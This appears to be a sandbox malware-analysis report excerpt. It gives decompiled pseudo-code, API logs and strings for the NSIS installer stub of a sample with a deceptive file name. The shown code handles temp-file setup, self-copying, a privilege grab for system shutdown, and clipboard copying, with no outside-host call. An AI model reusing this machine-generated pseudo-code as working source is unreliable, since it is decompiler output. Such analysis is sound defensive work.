				int _t189;
				void* _t190;
				void* _t199;
				signed int _t205;
				signed int _t210;
				signed int _t215;
				signed int _t217;
				int* _t219;
				signed int _t227;
				signed int _t230;
				CHAR* _t232;
				char* _t233;
				signed int _t234;
				WCHAR* _t235;
				void* _t251;

				_t217 = 0x20;
				_t189 = 0;
				_v24 = 0;
				_v8 = L"Error writing temporary file. Make sure your temp folder is valid.";
				_v20 = 0;
				SetErrorMode(0x8001); // executed
				_v324.szCSDVersion = 0;
				_v48 = 0;
				_v44 = 0;
				_v324.dwOSVersionInfoSize = 0x11c;
				if(GetVersionExW( &_v324) == 0) {
					_v324.dwOSVersionInfoSize = 0x114;
					GetVersionExW( &_v324);
					asm("sbb eax, eax");
					_v42 = 4;
					_v48 =  !( ~(_v324.szCSDVersion - 0x53)) & _v278 + 0xffffffd0;
				}
				if(_v324.dwMajorVersion < 0xa) {
					_v310 = _v310 & 0x00000000;
				}
				 *0x42a318 = _v324.dwBuildNumber;
				 *0x42a31c = (_v324.dwMajorVersion & 0x0000ffff | _v324.dwMinorVersion & 0x000000ff) << 0x00000010 | _v48 & 0x0000ffff | _v42 & 0x000000ff;
				if( *0x42a31e != 0x600) {
					_t180 = E00406A35(_t189);
					if(_t180 != _t189) {
						 *_t180(0xc00);
					}
				}
				_t232 = "UXTHEME";
				do {
					E004069C5(_t232); // executed
					_t232 =  &(_t232[lstrlenA(_t232) + 1]);
				} while ( *_t232 != 0);
				E00406A35(0xb);
				 *0x42a264 = E00406A35(9);
				_t88 = E00406A35(7);
				if(_t88 != _t189) {
					_t88 =  *_t88(0x1e);
					if(_t88 != 0) {
						 *0x42a31c =  *0x42a31c | 0x00000080;
					}
				}
				__imp__#17();
				__imp__OleInitialize(_t189); // executed
				 *0x42a320 = _t88;
				SHGetFileInfoW(0x421708, _t189,  &_v1016, 0x2b4, _t189); // executed
				E00406668(0x429260, L"NSIS Error");
				_t92 = GetCommandLineW();
				_t233 = L"\"C:\\Users\\Arthur\\Desktop\\QT_0948765446-NMPMUST-9876563783.exe\" ";
				E00406668(_t233, _t92);
				_t94 = _t233;
				_t234 = 0x22;
				 *0x42a260 = 0x400000;
				_t251 = L"\"C:\\Users\\Arthur\\Desktop\\QT_0948765446-NMPMUST-9876563783.exe\" " - _t234; // 0x22
				if(_t251 == 0) {
					_t217 = _t234;
					_t94 =  &M00435002;
				}
				_t199 = CharNextW(E00405F64(_t94, _t217));
				_v16 = _t199;
				while(1) {
					_t97 =  *_t199;
					_t252 = _t97 - _t189;
					if(_t97 == _t189) {
						break;
					}
					_t210 = 0x20;
					__eflags = _t97 - _t210;
					if(_t97 != _t210) {
						L17:
						__eflags =  *_t199 - _t234;
						_v12 = _t210;
						if( *_t199 == _t234) {
							_v12 = _t234;
							_t199 = _t199 + 2;
							__eflags = _t199;
						}
						__eflags =  *_t199 - 0x2f;
						if( *_t199 != 0x2f) {
							L32:
							_t199 = E00405F64(_t199, _v12);
							__eflags =  *_t199 - _t234;
							if(__eflags == 0) {
								_t199 = _t199 + 2;
								__eflags = _t199;
							}
							continue;
						} else {
							_t199 = _t199 + 2;
							__eflags =  *_t199 - 0x53;
							if( *_t199 != 0x53) {
								L24:
								asm("cdq");
								asm("cdq");
								_t215 = L"NCRC" & 0x0000ffff;
								asm("cdq");
								_t227 = ( *0x40a37e & 0x0000ffff) << 0x00000010 |  *0x40a37c & 0x0000ffff | _t215;
								__eflags =  *_t199 - (( *0x40a37a & 0x0000ffff) << 0x00000010 | _t215);
								if( *_t199 != (( *0x40a37a & 0x0000ffff) << 0x00000010 | _t215)) {
									L29:
									asm("cdq");
									asm("cdq");
									_t210 = L" /D=" & 0x0000ffff;
									asm("cdq");
									_t230 = ( *0x40a372 & 0x0000ffff) << 0x00000010 |  *0x40a370 & 0x0000ffff | _t210;
									__eflags =  *(_t199 - 4) - (( *0x40a36e & 0x0000ffff) << 0x00000010 | _t210);
									if( *(_t199 - 4) != (( *0x40a36e & 0x0000ffff) << 0x00000010 | _t210)) {
										L31:
										_t234 = 0x22;
										goto L32;
									}
									__eflags =  *_t199 - _t230;
									if( *_t199 == _t230) {
										 *(_t199 - 4) = _t189;
										__eflags = _t199;
										E00406668(L"C:\\Users\\Arthur\\AppData\\Local\\Temp", _t199);
										L37:
										_t235 = L"C:\\Users\\Arthur\\AppData\\Local\\Temp\\";
										GetTempPathW(0x400, _t235);
										_t116 = E0040360F(_t199, _t252);
										_t253 = _t116;
										if(_t116 != 0) {
											L40:
											DeleteFileW(L"1033"); // executed
											_t118 = E004030D0(_t255, _v20); // executed
											_v8 = _t118;
											if(_t118 != _t189) {
												L68:
												E00403C25();
												__imp__OleUninitialize();
												if(_v8 == _t189) {
													if( *0x42a2f4 == _t189) {
														L77:
														_t120 =  *0x42a30c;
														if(_t120 != 0xffffffff) {
															_v24 = _t120;
														}
														ExitProcess(_v24);
													}
													if(OpenProcessToken(GetCurrentProcess(), 0x28,  &_v16) != 0) {
														LookupPrivilegeValueW(_t189, L"SeShutdownPrivilege",  &(_v40.Privileges));
														_v40.PrivilegeCount = 1;
														_v28 = 2;
														AdjustTokenPrivileges(_v16, _t189,  &_v40, _t189, _t189, _t189);
													}
													_t124 = E00406A35(4);
													if(_t124 == _t189) {
														L75:
														if(ExitWindowsEx(2, 0x80040002) != 0) {
															goto L77;
														}
														goto L76;
													} else {
														_push(0x80040002);
														_push(0x25);
														_push(_t189);
														_push(_t189);
														_push(_t189);
														if( *_t124() == 0) {
															L76:
															E0040140B(9);
															goto L77;
														}
														goto L75;
													}
												}
												E00405CC8(_v8, 0x200010);
												ExitProcess(2);
											}
											if( *0x42a27c == _t189) {
												L51:
												 *0x42a30c =  *0x42a30c | 0xffffffff;
												_v24 = E00403D17(_t265);
												goto L68;
											}
											_t219 = E00405F64(L"\"C:\\Users\\Arthur\\Desktop\\QT_0948765446-NMPMUST-9876563783.exe\" ", _t189);
											if(_t219 < L"\"C:\\Users\\Arthur\\Desktop\\QT_0948765446-NMPMUST-9876563783.exe\" ") {
												L48:
												_t264 = _t219 - L"\"C:\\Users\\Arthur\\Desktop\\QT_0948765446-NMPMUST-9876563783.exe\" ";
												_v8 = L"Error launching installer";
												if(_t219 < L"\"C:\\Users\\Arthur\\Desktop\\QT_0948765446-NMPMUST-9876563783.exe\" ") {
													_t190 = E00405C33(__eflags);
													lstrcatW(_t235, L"~nsu");
													__eflags = _t190;
													if(_t190 != 0) {
														lstrcatW(_t235, "A");
													}
													lstrcatW(_t235, L".tmp");
													_t220 = L"C:\\Users\\Arthur\\Desktop";
													_t138 = lstrcmpiW(_t235, L"C:\\Users\\Arthur\\Desktop");
													__eflags = _t138;
													if(_t138 == 0) {
														L67:
														_t189 = 0;
														__eflags = 0;
														goto L68;
													} else {
														__eflags = _t190;
														_push(_t235);
														if(_t190 == 0) {
															E00405C16();
														} else {
															E00405B99();
														}
														SetCurrentDirectoryW(_t235);
														__eflags = L"C:\\Users\\Arthur\\AppData\\Local\\Temp"; // 0x43
														if(__eflags == 0) {
															E00406668(L"C:\\Users\\Arthur\\AppData\\Local\\Temp", _t220);
														}
														E00406668(0x42b000, _v16);
														_t202 = "A" & 0x0000ffff;
														_t144 = ( *0x40a316 & 0x0000ffff) << 0x00000010 | "A" & 0x0000ffff;
														__eflags = _t144;
														_v12 = 0x1a;
														 *0x42b800 = _t144;
														do {
															E004066A5(0, 0x420f08, _t235, 0x420f08,  *((intOrPtr*)( *0x42a270 + 0x120)));
															DeleteFileW(0x420f08);
															__eflags = _v8;
															if(_v8 != 0) {
																_t149 = CopyFileW(L"C:\\Users\\Arthur\\Desktop\\QT_0948765446-NMPMUST-9876563783.exe", 0x420f08, 1);
																__eflags = _t149;
																if(_t149 != 0) {
																	E00406428(_t202, 0x420f08, 0);
																	E004066A5(0, 0x420f08, _t235, 0x420f08,  *((intOrPtr*)( *0x42a270 + 0x124)));
																	_t153 = E00405C4B(0x420f08);
																	__eflags = _t153;
																	if(_t153 != 0) {
																		CloseHandle(_t153);
																		_v8 = 0;
																	}
																}
															}
															 *0x42b800 =  *0x42b800 + 1;
															_t61 =  &_v12;
															 *_t61 = _v12 - 1;
															__eflags =  *_t61;
														} while ( *_t61 != 0);
														E00406428(_t202, _t235, 0);
														goto L67;
													}
												}
												 *_t219 = _t189;
												_t222 =  &(_t219[2]);
												_t158 = E0040603F(_t264,  &(_t219[2]));
												_t265 = _t158;
												if(_t158 == 0) {
													goto L68;
												}
												E00406668(L"C:\\Users\\Arthur\\AppData\\Local\\Temp", _t222);
												E00406668(L"C:\\Users\\Arthur\\AppData\\Local\\Temp", _t222);
												_v8 = _t189;
												goto L51;
											}
											asm("cdq");
											asm("cdq");
											asm("cdq");
											_t205 = ( *0x40a33a & 0x0000ffff) << 0x00000010 | L" _?=" & 0x0000ffff;
											_t168 = ( *0x40a33e & 0x0000ffff) << 0x00000010 |  *0x40a33c & 0x0000ffff | (_t210 << 0x00000020 |  *0x40a33e & 0x0000ffff) << 0x10;
											while( *_t219 != _t205 || _t219[1] != _t168) {
												_t219 = _t219;
												if(_t219 >= L"\"C:\\Users\\Arthur\\Desktop\\QT_0948765446-NMPMUST-9876563783.exe\" ") {
													continue;
												}
												break;
											}
											_t189 = 0;
											goto L48;
										}
										GetWindowsDirectoryW(_t235, 0x3fb);
										lstrcatW(_t235, L"\\Temp");
										_t171 = E0040360F(_t199, _t253);
										_t254 = _t171;
										if(_t171 != 0) {
											goto L40;
										}
										GetTempPathW(0x3fc, _t235);
										lstrcatW(_t235, L"Low");
										SetEnvironmentVariableW(L"TEMP", _t235);
										SetEnvironmentVariableW(L"TMP", _t235);
										_t176 = E0040360F(_t199, _t254);
										_t255 = _t176;
										if(_t176 == 0) {
											goto L68;
										}
										goto L40;
									}
									goto L31;
								}
								__eflags =  *((intOrPtr*)(_t199 + 4)) - _t227;
								if( *((intOrPtr*)(_t199 + 4)) != _t227) {
									goto L29;
								}
								_t178 =  *((intOrPtr*)(_t199 + 8));
								__eflags = _t178 - 0x20;
								if(_t178 == 0x20) {
									L28:
									_t36 =  &_v20;
									 *_t36 = _v20 | 0x00000004;
									__eflags =  *_t36;
									goto L29;
								}
								__eflags = _t178 - _t189;
								if(_t178 != _t189) {
									goto L29;
								}
								goto L28;
							}
							_t179 =  *((intOrPtr*)(_t199 + 2));
							__eflags = _t179 - _t210;
							if(_t179 == _t210) {
								L23:
								 *0x42a300 = 1;
								goto L24;
							}
							__eflags = _t179 - _t189;
							if(_t179 != _t189) {
								goto L24;
							}
							goto L23;
						}
					} else {
						goto L16;
					}
					do {
						L16:
						_t199 = _t199 + 2;
						__eflags =  *_t199 - _t210;
					} while ( *_t199 == _t210);
					goto L17;
				}
				goto L37;
			}

0x0040364e
0x0040364f
0x00403656
0x00403659
0x00403660
0x00403663
0x00403676
0x0040367c
0x0040367f
0x00403682
0x00403690
0x00403698
0x004036a3
0x004036bc
0x004036be
0x004036c6
0x004036c6
0x004036d1
0x004036d3
0x004036d3
0x004036e8
0x0040370d
0x0040371b
0x0040371e
0x00403725
0x0040372c
0x0040372c
0x00403725
0x0040372e
0x00403733
0x00403734
0x00403740
0x00403744
0x0040374b
0x00403759
0x0040375e
0x00403765
0x00403769
0x0040376d
0x0040376f
0x0040376f
0x0040376d
0x00403776
0x0040377d
0x00403783
0x0040379b
0x004037ab
0x004037b0
0x004037b6
0x004037bd
0x004037c4
0x004037c6
0x004037c7
0x004037d1
0x004037d8
0x004037da
0x004037dc
0x004037dc
0x004037ef
0x004037f1
0x004038eb
0x004038eb
0x004038ee
0x004038f1
0x00000000
0x00000000
0x004037fb
0x004037fc
0x004037ff
0x00403808
0x00403808
0x0040380b
0x0040380e
0x00403811
0x00403814
0x00403814
0x00403814
0x00403815
0x00403819
0x004038d9
0x004038e2
0x004038e4
0x004038e7
0x004038ea
0x004038ea
0x004038ea
0x00000000
0x0040381f
0x00403820
0x00403821
0x00403825
0x0040383f
0x00403846
0x00403859
0x0040385a
0x0040386f
0x00403874
0x00403876
0x00403878
0x00403894
0x0040389b
0x004038ae
0x004038af
0x004038c4
0x004038ca
0x004038cc
0x004038ce
0x004038d6
0x004038d8
0x00000000
0x004038d8
0x004038d2
0x004038d4
0x004038f9
0x004038fd
0x00403906
0x0040390b
0x00403911
0x0040391c
0x0040391e
0x00403923
0x00403925
0x0040397d
0x00403982
0x0040398b
0x00403992
0x00403995
0x00403b6c
0x00403b6c
0x00403b71
0x00403b7a
0x00403b97
0x00403c0f
0x00403c0f
0x00403c17
0x00403c19
0x00403c19
0x00403c1f
0x00403c1f
0x00403bae
0x00403bba
0x00403bcb
0x00403bd2
0x00403bd9
0x00403bd9
0x00403be1
0x00403bed
0x00403bfb
0x00403c06
0x00000000
0x00000000
0x00000000
0x00403bef
0x00403bef
0x00403bf0
0x00403bf2
0x00403bf3
0x00403bf4
0x00403bf9
0x00403c08
0x00403c0a
0x00000000
0x00403c0a
0x00000000
0x00403bf9
0x00403bed
0x00403b84
0x00403b8b
0x00403b8b
0x004039a1
0x00403a48
0x00403a48
0x00403a54
0x00000000
0x00403a54
0x004039b2
0x004039ba
0x00403a0c
0x00403a0c
0x00403a12
0x00403a19
0x00403a67
0x00403a69
0x00403a6e
0x00403a70
0x00403a78
0x00403a78
0x00403a83
0x00403a88
0x00403a8f
0x00403a95
0x00403a97
0x00403b6a
0x00403b6a
0x00403b6a
0x00000000
0x00403a9d
0x00403a9d
0x00403a9f
0x00403aa0
0x00403aa9
0x00403aa2
0x00403aa2
0x00403aa2
0x00403aaf
0x00403ab7
0x00403abe
0x00403ac6
0x00403ac6
0x00403ad3
0x00403adf
0x00403ae9
0x00403ae9
0x00403aeb
0x00403af2
0x00403afc
0x00403b08
0x00403b0e
0x00403b14
0x00403b17
0x00403b21
0x00403b27
0x00403b29
0x00403b2d
0x00403b3e
0x00403b44
0x00403b49
0x00403b4b
0x00403b4e
0x00403b54
0x00403b54
0x00403b4b
0x00403b29
0x00403b57
0x00403b5e
0x00403b5e
0x00403b5e
0x00403b5e
0x00403b65
0x00000000
0x00403b65
0x00403a97
0x00403a1b
0x00403a1e
0x00403a22
0x00403a27
0x00403a29
0x00000000
0x00000000
0x00403a35
0x00403a40
0x00403a45
0x00000000
0x00403a45
0x004039c3
0x004039db
0x004039ec
0x004039ed
0x004039f1
0x004039f3
0x00403a01
0x00403a08
0x00000000
0x00000000
0x00000000
0x00403a08
0x00403a0a
0x00000000
0x00403a0a
0x0040392d
0x00403939
0x0040393e
0x00403943
0x00403945
0x00000000
0x00000000
0x0040394d
0x00403955
0x00403966
0x0040396e
0x00403970
0x00403975
0x00403977
0x00000000
0x00000000
0x00000000
0x00403977
0x00000000
0x004038d4
0x0040387d
0x0040387f
0x00000000
0x00000000
0x00403881
0x00403885
0x00403889
0x00403890
0x00403890
0x00403890
0x00403890
0x00000000
0x00403890
0x0040388b
0x0040388e
0x00000000
0x00000000
0x00000000
0x0040388e
0x00403827
0x0040382b
0x0040382e
0x00403835
0x00403835
0x00000000
0x00403835
0x00403830
0x00403833
0x00000000
0x00000000
0x00000000
0x00403833
0x00000000
0x00000000
0x00000000
0x00403801
0x00403801
0x00403802
0x00403803
0x00403803
0x00000000
0x00403801
0x00000000

APIs

SetErrorMode.KERNELBASE(00008001), ref: 00403663
GetVersionExW.KERNEL32(?), ref: 0040368C
GetVersionExW.KERNEL32(0000011C), ref: 004036A3
lstrlenA.KERNEL32(UXTHEME,UXTHEME), ref: 0040373A
#17.COMCTL32(00000007,00000009,0000000B), ref: 00403776
OleInitialize.OLE32(00000000), ref: 0040377D
SHGetFileInfoW.SHELL32(00421708,00000000,?,000002B4,00000000), ref: 0040379B
GetCommandLineW.KERNEL32(00429260,NSIS Error), ref: 004037B0
CharNextW.USER32(00000000,"C:\Users\user\Desktop\QT_0948765446-NMPMUST-9876563783.exe" ,00000020,"C:\Users\user\Desktop\QT_0948765446-NMPMUST-9876563783.exe" ,00000000), ref: 004037E9
GetTempPathW.KERNEL32(00000400,C:\Users\user\AppData\Local\Temp\,00000000,?), ref: 0040391C
GetWindowsDirectoryW.KERNEL32(C:\Users\user\AppData\Local\Temp\,000003FB), ref: 0040392D
lstrcatW.KERNEL32(C:\Users\user\AppData\Local\Temp\,\Temp), ref: 00403939
GetTempPathW.KERNEL32(000003FC,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,\Temp), ref: 0040394D
lstrcatW.KERNEL32(C:\Users\user\AppData\Local\Temp\,Low), ref: 00403955
SetEnvironmentVariableW.KERNEL32(TEMP,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,Low), ref: 00403966
SetEnvironmentVariableW.KERNEL32(TMP,C:\Users\user\AppData\Local\Temp\), ref: 0040396E
DeleteFileW.KERNELBASE(1033), ref: 00403982
lstrcatW.KERNEL32(C:\Users\user\AppData\Local\Temp\,~nsu), ref: 00403A69
lstrcatW.KERNEL32(C:\Users\user\AppData\Local\Temp\,0040A328), ref: 00403A78

Part of subcall function 00405C16: CreateDirectoryW.KERNELBASE(?,00000000,00403633,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,00403923), ref: 00405C1C

lstrcatW.KERNEL32(C:\Users\user\AppData\Local\Temp\,.tmp), ref: 00403A83
lstrcmpiW.KERNEL32(C:\Users\user\AppData\Local\Temp\,C:\Users\user\Desktop,C:\Users\user\AppData\Local\Temp\,.tmp,C:\Users\user\AppData\Local\Temp\,~nsu,"C:\Users\user\Desktop\QT_0948765446-NMPMUST-9876563783.exe" ,00000000,?), ref: 00403A8F
SetCurrentDirectoryW.KERNEL32(C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\), ref: 00403AAF
DeleteFileW.KERNEL32(00420F08,00420F08,?,0042B000,?), ref: 00403B0E
CopyFileW.KERNEL32(C:\Users\user\Desktop\QT_0948765446-NMPMUST-9876563783.exe,00420F08,00000001), ref: 00403B21
CloseHandle.KERNEL32(00000000,00420F08,00420F08,?,00420F08,00000000), ref: 00403B4E
OleUninitialize.OLE32(?), ref: 00403B71
ExitProcess.KERNEL32 ref: 00403B8B
GetCurrentProcess.KERNEL32(00000028,?), ref: 00403B9F
OpenProcessToken.ADVAPI32(00000000), ref: 00403BA6
LookupPrivilegeValueW.ADVAPI32(00000000,SeShutdownPrivilege,?), ref: 00403BBA
AdjustTokenPrivileges.ADVAPI32(?,00000000,?,00000000,00000000,00000000), ref: 00403BD9
ExitWindowsEx.USER32(00000002,80040002), ref: 00403BFE
ExitProcess.KERNEL32 ref: 00403C1F

Strings

SeShutdownPrivilege, xrefs: 00403BB4
Low, xrefs: 0040394F
Error writing temporary file. Make sure your temp folder is valid., xrefs: 00403659
C:\Users\user\Desktop, xrefs: 00403A88, 00403A8D, 00403AC0
C:\Users\user\AppData\Local\Temp\, xrefs: 00403911, 00403916, 0040392C, 00403938, 00403947, 00403954, 00403960, 00403968, 00403A66, 00403A77, 00403A82, 00403A8E, 00403A9F, 00403AAE, 00403B64
1033, xrefs: 0040397D
Error launching installer, xrefs: 00403A12
\Temp, xrefs: 00403933
NSIS Error, xrefs: 004037A1
TMP, xrefs: 00403969
TEMP, xrefs: 00403961
C:\Users\user\AppData\Local\Temp, xrefs: 00403901, 00403A30, 00403AB7, 00403AC1
"C:\Users\user\Desktop\QT_0948765446-NMPMUST-9876563783.exe" , xrefs: 004037B6, 004037BC, 004037D1, 004039A8, 004039B4, 00403A02, 00403A0C
~nsu, xrefs: 00403A61
C:\Users\user\AppData\Local\Temp, xrefs: 00403A3B
C:\Users\user\Desktop\QT_0948765446-NMPMUST-9876563783.exe, xrefs: 00403B1C
.tmp, xrefs: 00403A7D
UXTHEME, xrefs: 0040372E, 00403733, 00403739

Memory Dump Source

Source File: 00000000.00000002.3283025001.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3282990682.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3283105081.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3283144697.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3283287480.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3283327689.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3283384511.000000000046C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_QT_0948765446-NMPMUST-9876563783.jbxd

Similarity

API ID: lstrcat$FileProcess$DirectoryExit$CurrentDeleteEnvironmentPathTempTokenVariableVersionWindows$AdjustCharCloseCommandCopyCreateErrorHandleInfoInitializeLineLookupModeNextOpenPrivilegePrivilegesUninitializeValuelstrcmpilstrlen
String ID: "C:\Users\user\Desktop\QT_0948765446-NMPMUST-9876563783.exe" $.tmp$1033$C:\Users\user\AppData\Local\Temp$C:\Users\user\AppData\Local\Temp$C:\Users\user\AppData\Local\Temp\$C:\Users\user\Desktop$C:\Users\user\Desktop\QT_0948765446-NMPMUST-9876563783.exe$Error launching installer$Error writing temporary file. Make sure your temp folder is valid.$Low$NSIS Error$SeShutdownPrivilege$TEMP$TMP$UXTHEME$\Temp$~nsu
API String ID: 3859024572-1301897159
Opcode ID: f3ac1498e1d688579d7258b622a0b5d50c25907720076392c60a7523a2d29bb1
Instruction ID: d56582c8b11bee4b9d4e83ad1f604629a9588d533935b381636b20c84fba3529
Opcode Fuzzy Hash: f3ac1498e1d688579d7258b622a0b5d50c25907720076392c60a7523a2d29bb1
Instruction Fuzzy Hash: D4E1F471A00214AADB20AFB58D45A6E3EB8EB05709F50847FF945B32D1DB7C8A41CB6D

Uniqueness

Uniqueness Score: -1.00%

Function 00405809 Relevance: 66.8, APIs: 36, Strings: 2, Instructions: 284
windowclipboardmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 95%

			E00405809(struct HWND__* _a4, long _a8, long _a12, unsigned int _a16) {
				struct HWND__* _v8;
				long _v12;
				struct tagRECT _v28;
				void* _v36;
				signed int _v40;
				int _v44;
				int _v48;
				signed int _v52;
				int _v56;
				void* _v60;
				void* _v68;
				void* __ebx;
				void* __edi;
				void* __esi;
				struct HWND__* _t94;
				long _t95;
				int _t100;
				void* _t108;
				void* _t127;
				intOrPtr _t130;
				struct HWND__* _t134;
				int _t156;
				int _t159;
				struct HMENU__* _t164;
				struct HWND__* _t168;
				struct HWND__* _t169;
				int _t171;
				void* _t172;
				short* _t173;
				short* _t175;
				int _t177;

				_t169 =  *0x429244;
				_t156 = 0;
				_v8 = _t169;
				if(_a8 != 0x110) {
					if(_a8 == 0x405) {
						_t127 = CreateThread(0, 0, E0040579D, GetDlgItem(_a4, 0x3ec), 0,  &_v12); // executed
						CloseHandle(_t127); // executed
					}
					if(_a8 != 0x111) {
						L17:
						_t171 = 1;
						if(_a8 != 0x404) {
							L25:
							if(_a8 != 0x7b) {
								goto L20;
							}
							_t94 = _v8;
							if(_a12 != _t94) {
								goto L20;
							}
							_t95 = SendMessageW(_t94, 0x1004, _t156, _t156);
							_a8 = _t95;
							if(_t95 <= _t156) {
								L36:
								return 0;
							}
							_t164 = CreatePopupMenu();
							AppendMenuW(_t164, _t156, _t171, E004066A5(_t156, _t164, _t171, _t156, 0xffffffe1));
							_t100 = _a16;
							_t159 = _a16 >> 0x10;
							if(_a16 == 0xffffffff) {
								GetWindowRect(_v8,  &_v28);
								_t100 = _v28.left;
								_t159 = _v28.top;
							}
							if(TrackPopupMenu(_t164, 0x180, _t100, _t159, _t156, _a4, _t156) == _t171) {
								_v60 = _t156;
								_v48 = 0x423748;
								_v44 = 0x1000;
								_a4 = _a8;
								do {
									_a4 = _a4 - 1;
									_t171 = _t171 + SendMessageW(_v8, 0x1073, _a4,  &_v68) + 2;
								} while (_a4 != _t156);
								OpenClipboard(_t156);
								EmptyClipboard();
								_t108 = GlobalAlloc(0x42, _t171 + _t171);
								_a4 = _t108;
								_t172 = GlobalLock(_t108);
								do {
									_v48 = _t172;
									_t173 = _t172 + SendMessageW(_v8, 0x1073, _t156,  &_v68) * 2;
									 *_t173 = 0xd;
									_t175 = _t173 + 2;
									 *_t175 = 0xa;
									_t172 = _t175 + 2;
									_t156 = _t156 + 1;
								} while (_t156 < _a8);
								GlobalUnlock(_a4);
								SetClipboardData(0xd, _a4);
								CloseClipboard();
							}
							goto L36;
						}
						if( *0x42922c == _t156) {
							ShowWindow( *0x42a268, 8);
							if( *0x42a2ec == _t156) {
								E004056CA( *((intOrPtr*)( *0x422720 + 0x34)), _t156);
							}
							E0040459D(_t171);
							goto L25;
						}
						 *0x421f18 = 2;
						E0040459D(0x78);
						goto L20;
					} else {
						if(_a12 != 0x403) {
							L20:
							return E0040462B(_a8, _a12, _a16);
						}
						ShowWindow( *0x429230, _t156);
						ShowWindow(_t169, 8);
						E004045F9(_t169);
						goto L17;
					}
				}
				_v52 = _v52 | 0xffffffff;
				_v40 = _v40 | 0xffffffff;
				_t177 = 2;
				_v60 = _t177;
				_v56 = 0;
				_v48 = 0;
				_v44 = 0;
				asm("stosd");
				asm("stosd");
				_t130 =  *0x42a270;
				_a8 =  *((intOrPtr*)(_t130 + 0x5c));
				_a12 =  *((intOrPtr*)(_t130 + 0x60));
				 *0x429230 = GetDlgItem(_a4, 0x403);
				 *0x429228 = GetDlgItem(_a4, 0x3ee);
				_t134 = GetDlgItem(_a4, 0x3f8);
				 *0x429244 = _t134;
				_v8 = _t134;
				E004045F9( *0x429230);
				 *0x429234 = E00404F52(4);
				 *0x42924c = 0;
				GetClientRect(_v8,  &_v28);
				_v52 = _v28.right - GetSystemMetrics(_t177);
				SendMessageW(_v8, 0x1061, 0,  &_v60); // executed
				SendMessageW(_v8, 0x1036, 0x4000, 0x4000); // executed
				if(_a8 >= 0) {
					SendMessageW(_v8, 0x1001, 0, _a8);
					SendMessageW(_v8, 0x1026, 0, _a8);
				}
				if(_a12 >= _t156) {
					SendMessageW(_v8, 0x1024, _t156, _a12);
				}
				_push( *((intOrPtr*)(_a16 + 0x30)));
				_push(0x1b);
				E004045C4(_a4);
				if(( *0x42a278 & 0x00000003) != 0) {
					ShowWindow( *0x429230, _t156);
					if(( *0x42a278 & 0x00000002) != 0) {
						 *0x429230 = _t156;
					} else {
						ShowWindow(_v8, 8);
					}
					E004045F9( *0x429228);
				}
				_t168 = GetDlgItem(_a4, 0x3ec);
				SendMessageW(_t168, 0x401, _t156, 0x75300000);
				if(( *0x42a278 & 0x00000004) != 0) {
					SendMessageW(_t168, 0x409, _t156, _a12);
					SendMessageW(_t168, 0x2001, _t156, _a8);
				}
				goto L36;
			}

0x00405811
0x00405817
0x00405821
0x00405824
0x004059ba
0x004059d7
0x004059de
0x004059de
0x004059f1
0x00405a0f
0x00405a11
0x00405a19
0x00405a6f
0x00405a73
0x00000000
0x00000000
0x00405a75
0x00405a7b
0x00000000
0x00000000
0x00405a85
0x00405a8d
0x00405a90
0x00405b92
0x00000000
0x00405b92
0x00405a9f
0x00405aaa
0x00405ab3
0x00405abe
0x00405ac1
0x00405aca
0x00405ad0
0x00405ad3
0x00405ad3
0x00405aeb
0x00405af4
0x00405af7
0x00405afe
0x00405b05
0x00405b0d
0x00405b0d
0x00405b24
0x00405b24
0x00405b2b
0x00405b31
0x00405b3d
0x00405b44
0x00405b4d
0x00405b4f
0x00405b52
0x00405b61
0x00405b64
0x00405b6a
0x00405b6b
0x00405b71
0x00405b72
0x00405b73
0x00405b7b
0x00405b86
0x00405b8c
0x00405b8c
0x00000000
0x00405aeb
0x00405a21
0x00405a51
0x00405a59
0x00405a64
0x00405a64
0x00405a6a
0x00000000
0x00405a6a
0x00405a25
0x00405a2f
0x00000000
0x004059f3
0x004059f9
0x00405a34
0x00000000
0x00405a3d
0x00405a02
0x00405a07
0x00405a0a
0x00000000
0x00405a0a
0x004059f1
0x0040582a
0x0040582e
0x00405836
0x0040583a
0x0040583d
0x00405840
0x00405843
0x00405846
0x00405847
0x00405848
0x00405861
0x00405864
0x0040586e
0x0040587d
0x00405885
0x0040588d
0x00405892
0x00405895
0x004058a1
0x004058aa
0x004058b3
0x004058d5
0x004058db
0x004058ec
0x004058f1
0x004058ff
0x0040590d
0x0040590d
0x00405912
0x00405920
0x00405920
0x00405925
0x00405928
0x0040592d
0x00405939
0x00405942
0x0040594f
0x0040595e
0x00405951
0x00405956
0x00405956
0x0040596a
0x0040596a
0x0040597e
0x00405987
0x00405990
0x004059a0
0x004059ac
0x004059ac
0x00000000

APIs

GetDlgItem.USER32(?,00000403), ref: 00405867
GetDlgItem.USER32(?,000003EE), ref: 00405876
GetClientRect.USER32(?,?), ref: 004058B3
GetSystemMetrics.USER32(00000002), ref: 004058BA
SendMessageW.USER32(?,00001061,00000000,?), ref: 004058DB
SendMessageW.USER32(?,00001036,00004000,00004000), ref: 004058EC
SendMessageW.USER32(?,00001001,00000000,00000110), ref: 004058FF
SendMessageW.USER32(?,00001026,00000000,00000110), ref: 0040590D
SendMessageW.USER32(?,00001024,00000000,?), ref: 00405920
ShowWindow.USER32(00000000,?,0000001B,000000FF), ref: 00405942
ShowWindow.USER32(?,00000008), ref: 00405956
GetDlgItem.USER32(?,000003EC), ref: 00405977
SendMessageW.USER32(00000000,00000401,00000000,75300000), ref: 00405987
SendMessageW.USER32(00000000,00000409,00000000,?), ref: 004059A0
SendMessageW.USER32(00000000,00002001,00000000,00000110), ref: 004059AC
GetDlgItem.USER32(?,000003F8), ref: 00405885

